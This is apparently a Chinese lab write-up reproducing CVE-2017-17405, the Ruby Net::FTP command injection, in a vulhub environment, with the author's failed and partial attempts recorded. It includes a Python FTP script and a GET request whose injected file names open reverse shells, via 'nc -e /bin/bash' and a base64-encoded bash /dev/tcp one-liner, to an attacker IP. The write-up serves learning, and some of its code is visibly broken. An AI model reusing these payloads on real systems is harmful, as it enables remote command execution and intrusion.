CVE-2017-17405

信息介绍

Ruby Net::FTP 模块命令注入漏洞。

Ruby Net::FTP 模块是一个FTP客户端,在上传和下载文件的过程中,打开本地文件时使用了open函数。而在ruby中,open函数是借用系统命令来打开文件的,且没用过滤shell字符,导致在用户控制文件名的情况下,可以注入任何命令

Ruby是一个面向对象的脚本语言,基于该语言的

影响范围

ruby 2.4.3之前版本存在该漏洞。

分析

首先要确定Ruby是否使用libcurl为其FTP功能,如果是的话,这个漏洞是否可以在Ruby应用程序中触发。其次确定Ruby是否有自定义的FTP实现,是否也允许使用FTP通配符,如果使用,则确定问题是否存在于该实现中。

操作

image-20220213045833512

image-20220213050013681

收集到网上信息,开始构建python文件,初步想法创建一个可输入变量,用来执行命令,用python的FTP库进行上传,实现漏洞的操作。

注意:这里使用vulhub编码完,运行后还需要启动FTP服务器才可以进行测试。这里使用python

  • pip install pyftpdlib (pyftpdlib是python中的FTP服务器)

  • python3 -m pyftpdlib -p 2121 -i 192.168.1.134 (-m 打开服务器,-p 指定端口,-i 指定地址,可以指定127.0.0.0.1)

    image-20220213074532183

    现在可以开始编写python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from ftplib import FTP
import socket

host = '192.168.1.134' #目标地址
username = '' #匿名登录
password = ''

file = ('|nc${IFS}-e${IFS}/bin/bash${IFS}192.168.1.128${IFS}10000${IFS}xxx.txt' )
#恶意代码,反弹shell
port = 2121 #目标端口

ftp = FTP() #打开FTP

ftp.connect(host,port) #连接服务器
ftp.login(username,password) #进行匿名登录
file_handel='/' #上传地址
bufsize = 1024 #缓存大小,storbinary必须设置缓存大小
ftp.storbinary(file,file_handel,bufsize) #进行上传
print(ftp.dir) #查看是否上传成功
ftp.quit #关闭ftp连接

在python内有内置库FTP,可以上传文件保存文件名时对系统执行恶意代码。这个方法没有尝试成功,记录一下曲折过程全是粗心。

上面代码运行报错,并没理会以为是执行恶意代码所以报错,image-20220213122117938

但是这里的报错是因为,ftp库上传文件需要加上大写的STOR,如下

ftp.storbinary('STOP'+file,file_handel,bufsize)

更改之后呢,报错变也变了,从500变成了550

image-20220213122634099

网上查找到的内容较少,唯一一条有用的信息是,服务器不支持换存。未验证,同时也放弃了用FTP库。

查询到信息可以通过brup进行抓包,通过修改命令进行执行恶意代码![195bd2b4c545c672ca92967a5ae7871](C:\Users\14025\AppData\Local\Temp\WeChat Files\195bd2b4c545c672ca92967a5ae7871.png)

但是页面一直未能连接成功,在询问摸索一阵之后,在历史命令中,并没有发现docker启动的命令。

docker-compose up -d

image-20220213123656893

启动之后重新尝试之前的python命令,进行试验,报错雷同并没有什么改变。彻底放弃,使用burp进行抓包。

image-20220213123954153

当执行恶意代码是中间空格会被编码,所以使用下面代码。

将攻击IP和端口进行编码,上传后进行字符串内容,对编码内容进行解码,然后进行反弹

|bash${IFS}-c${IFS}“{echo,YmVhc2ggPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEyOC8xMDAwMCAwPiYx}|{base64,-d}|{bash,-i}"

image-20220213124049569

关于${IFS}推断是guby的空格写法,关于guby网上的信息较少无法印证。

代码执行,反弹shell成功,但是秒被断开。尝试多次依旧会被断开。image-20220213125219857

开启docker容器内部查看,

docker ps 查看开启容器信息
docker attach ip信息 进入容器

image-20220213125543246

进入容器后没有任何提示。也没有任何互交。用burp进行反弹shell,看看容器有什么反应。image-20220213125755512 代码被执行成功了,但是紧接着容器执行了exit退出了。以为编译代码问题尝试几次依旧会直接执行eit

image-20220213125929184

image-20220213114300189

image-20220213130045866

这时候想到之前没有被执行的FTP的python,尝试执行查看后台反应,报错不变,后台没有反应,原来一直错误出现在python身上,一直都和服务器没有交互,被人指点burp可以用那用python也可以模拟页面进行交互,开始尝试用get请求。

1
2
3
4
5
6
7
import requests
import urllib

url = 'http://192.168.1.134:8080/download?uri=ftp://192.168.1.134:2121/&file=|bash${IFS}-c${IFS}"{echo,PiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEyOC8xMDAwMCAwPiYx}|{base64,-d}|{bash,-i}"'

r = urllib.request.urlopen(url,context=context)

执行之后,没有shell被反弹回来,查看一下服务器,发现内容被编码了,

image-20220213130505564

上网查询ssl库,可以防止uel被编码,这次后台并没有编码url,但是传入的shell还是断开了。

image-20220213115628794

image-20220213120542663

image-20220213120834013

有反弹还是会断,已经黔驴技穷了,安慰自己是漏洞为了安全这样做的。

总结

漏洞整体不难,是自己对细节的敏感度太低,流程不够明确饶了很多路,也做了很多用过,马虎大意。想法单一

------ 本文结束------